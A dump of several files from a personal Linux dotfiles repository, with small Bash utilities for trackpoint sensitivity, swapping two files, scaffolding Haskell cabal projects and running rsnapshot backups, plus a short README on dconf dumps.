"36d9d7db1ae9da012a95f2ee7f184bfc08cc8a94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 244, "license_type": "no_license", "max_line_length": 69, "num_lines": 10, "path": "/dconf/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# `dconf` dumps\n\n> Some assembly required!\n\nThe file `helpful-prefix-a.b.c.d.dump` is the output of\n\n dconf dump /a/b/c/d/\n\nand can probably be loaded similarly with dconf load (though a bit of\nmanual review is probably not the worst idea.)\n" }, { "alpha_fraction": 0.6509040594100952, "alphanum_fraction": 0.6926286220550537, "avg_line_length": 30.2608699798584, "blob_id": "7acea3c7823c9fd03076b2e6cbefb7a527e633cd", "content_id": "4d0f9af1d55102240e1260fdedb2c84fb9453577", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 719, "license_type": "no_license", "max_line_length": 85, "num_lines": 23, "path": "/stow/t430s-trackpoint-sensitivity/usr/local/bin/_udev--trackpoint-sensitivity.sh", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nshopt -s globstar\n\nsystem=/sys/devices/platform/i8042/serio1/serio2\ndateit() { while IFS= read -r x; do echo \"$(date) $x\"; done; }\nlogit() { cat >>/home/lampam/.serio.log; }\n\n{\n\tsleep 1\n\techo -n 250 >$system/sensitivity\n\techo -n 250 >$system/speed\n\n\t# # workaround for a kernel bug that keeps reassigning new names to the trackpoint,\n\t# # until this patch goes through:\n\t# # https://patchwork.kernel.org/patch/9874667/\n\t# echo -n 250 | tee /sys/devices/platform/i8042/serio1/serio*/**/{speed,sensitivity}\n} 2>&1 | dateit | logit &\n\n# cargo-cultism alert:\n# Some forum post claimed this was important, to avoid joining the forked thread.\n# It seems to work just fine to me without it, but w/e.\nexit\n" }, { "alpha_fraction": 0.49323785305023193, "alphanum_fraction": 0.5131264925003052, "avg_line_length": 25.16666603088379, "blob_id": "b28285f8850042cac358c541804dfbf70303cc54", "content_id": "ca0a167e12ea0cec37cdb21712ca7f1e9bc17f3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1257, "license_type": "no_license", "max_line_length": 72, "num_lines": 48, "path": "/bin/swap", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#? swap 0.1.0\n#? Copyright (C) 2017 Michael Lamparski\n#? Licensed under WTFPL Version 2\n\n# version 0.1.0: 16 February 2017\n\nPROG=$(basename $0)\nVERSION=$(grep \"^#?\" \"$0\" | cut -c 4-)\ninfo() { echo >&2 \"$PROG: $@\"; }\ndie() { if [ \"$*\" != \"\" ]; then info \"$@\"; fi; exit 1; }\nbug() { die \"Internal error! ($@)\"; }\nP__G=$(echo \"$PROG\" | sed 's/./ /g') # spaces to align usage strings\n\nwhich docopts >/dev/null || die \"Please install docopts.\"\neval \"$(docopts -V \"$version\" -h - -A OPT : \"$@\" <<ENDDOC\nUsage: $PROG <A> <B> [--]\n $PROG (-h | --help) [--]\n $PROG --version [--]\n\nOPTIONS:\n -h --help You did it!\n --version Print version\nENDDOC\n)\"\n\n#-------------------------------------------\n# options\n\nOPT_A=${OPT[A]}\nOPT_B=${OPT[B]}\n\n#-------------------------------------------\n\n# Do some prospective checking to reduce mess from user mistakes.\nfor path in \"$OPT_A\" \"$OPT_B\"; do\n if ! [[ -e \"$path\" ]]; then\n die \"File does not exist: '$path'\"\n fi\ndone\n\n# Perform the move\ntmp=$(mktemp) || die \"could not obtain a temporary path\"\n{ mv \"$OPT_A\" \"$tmp\" && mv \"$OPT_B\" \"$OPT_A\" && mv \"$tmp\" \"$OPT_B\"; } ||\n{ echo >&2 \"swap: oops, a bad thing happened!\";\n echo >&2 \"swap: one file is probably now located at '$tmp'.\";\n exit 1; }\n\n" }, { "alpha_fraction": 0.584845244884491, "alphanum_fraction": 0.6061899662017822, "avg_line_length": 24.089284896850586, "blob_id": "d3320f49ff411f51fdbd8e4472b53f97ce3d398e", "content_id": "fe8ba1b58d5f82ab44abdf376c52575e54caa36b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2819, "license_type": "no_license", "max_line_length": 116, "num_lines": 112, "path": "/bin/cabal-new", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Michael Lamparski 10 October 2016\n# Personal-use wrapper around 'cabal init' that somewhat resembles 'cargo new'.\n\n# THIS FILE IS NOT ASSOCIATED WITH CABAL, CABAL-INSTALL,\n# OR THE CABAL DEVELOPMENT TEAM IN GENERAL.\n\n# version 1.01: 10 October 2016\n# * Made sandboxes optional. This is because cabal 1.24 has an experimental\n# 'new-build' feature which incorporates sandbox-like features but also\n# keeps a global cache of built artefacts. ナイス!\n# (too bad 'new-run' and 'new-exec' are still in the works...)\n\nPROG=$(basename $0)\n\ndo_version() {\n\techo \"'cabal new' wrapper script 1.01\"\n}\n\ndo_usage() {\n\techo <<HERE\nUsage: $PROG DIRNAME [-hf|--help|--force|--version]\n [--sandbox|--no-sandbox] [--git|--no-git]\nHERE\n}\n\ndo_help() {\n\tdo_usage\n\techo <<HERE\nQuickly set up a (possibly sandboxed) binary package in cabal.\n\nOPTIONS:\n -f, --force:\n Replace existing directory (deleting all contents)\n --sandbox, --no-sandbox:\n Perform 'cabal sandbox init'. Default: --no-sandbox.\n The nix-style local build feature in cabal 1.24 ('cabal new-build')\n largely eliminates the need for sandboxes.\n --git, --no-git:\n Perform a 'git init'. Default: --git.\n --version: Print version\nHERE\n}\n\n#-------------------------------------------\n# options\n\nOPT_FORCE=0\nOPT_SANDBOX=0\nOPT_GIT=1\nif ! which git >/dev/null; then\n\tOPT_GIT = 0\nfi\n\nTEMP=`getopt -o h --long help,version,sandbox,no-sandbox,git,no-git -n \"$PROG\" -- \"$@\"` || { do_usage >&2; exit 1; }\neval set -- \"$TEMP\"\nwhile true ; do\n\tcase \"$1\" in\n\t\t-h|--help) do_help ; exit 0 ;;\n\t\t-f|--force) OPT_FORCE=1 ; shift ;;\n\t\t--sandbox) OPT_SANDBOX=1 ; shift ;;\n\t\t--no-sandbox) OPT_SANDBOX=0 ; shift ;;\n\t\t--git) OPT_GIT=1 ; shift ;;\n\t\t--no-git) OPT_GIT=0 ; shift ;;\n\t\t--version) do_version ; exit 0 ;;\n\t\t--) shift ; break ;;\n\t\t*) echo >&2 Internal error on argument: \"$1\" ; exit 1 ;;\n\tesac\ndone\n\nif [[ $# -ne 1 ]]; then\n\tdo_usage >&2\n\texit 1\nfi\nARG_PACKAGE=$1\n\n\n#-------------------------------------------\n# do eeet\n\nif [[ -e \"$ARG_PACKAGE\" ]]; then\n\tif [[ $OPT_FORCE -eq 1 ]]; then\n\t\trm -rf \"$ARG_PACKAGE\"\n\telse\n\t\techo >&2 \"$PROG: Destination already exists\"\n\t\texit 1\n\tfi\nfi\n\nmkdir \"$ARG_PACKAGE\" || exit 1\npushd \"$ARG_PACKAGE\" >/dev/null || exit 1\n# FIXME: Is there a config file I can move the license flag to?\n# NOTE: cabal-1.24 no longer infers --package-name from pwd.\ncabal init --is-executable --non-interactive --license=MIT \"--package-name=$ARG_PACKAGE\" || exit 1\n\n# ... >_>\n# ... <_<\nCABAL_FILE=$(echo *.cabal)\nif [[ -e \"$CABAL_FILE\" ]]; then\n\techo >>$CABAL_FILE # newline\n\techo \" ghc-options: -fno-warn-tabs\" >>$CABAL_FILE\nfi\n\nif [[ $OPT_SANDBOX -eq 1 ]]; then\n cabal sandbox init || exit 1\nfi\nif [[ $OPT_GIT -eq 1 ]]; then\n git init || exit 1\nfi\n\npopd >/dev/null || exit 1\n\n" }, { "alpha_fraction": 0.6799242496490479, "alphanum_fraction": 0.6931818127632141, "avg_line_length": 21.913043975830078, "blob_id": "9bbd15aa37bd9a121c09c77b5bf2f4c10b9acffd", "content_id": "f8b344c5856c7d24387ea195a5ecb88f0a29d20a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 528, "license_type": "no_license", "max_line_length": 61, "num_lines": 23, "path": "/stow/back-me-up/opt/back-me-up/back-me-up", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Copyright (C) 2015 Michael Lamparski\n# Licensed under the WTFPL: http://www.wtfpl.net/about/\n\n# a vain attempt at performing MANUALLY INITIATED backups via\n# `rsnapshot` to a REMOVABLE USB external hard drive, which\n# MIGHT NOT always be connected (e.g. if this is a laptop).\n\nset -e\n\n# Rerun as root, to avoid babysitting for password prompts\nif [ \"$EUID\" -ne 0 ]\nthen\n echo NOTE: Re-running script as root\n sudo $0\n exit\nfi\n\nDIR=\"$(dirname \"$(readlink -f \"$0\")\")\"\n\n\"$DIR/mount-backup-drive\"\n\"$DIR/backup-and-rotate\"\n\n" } ]
70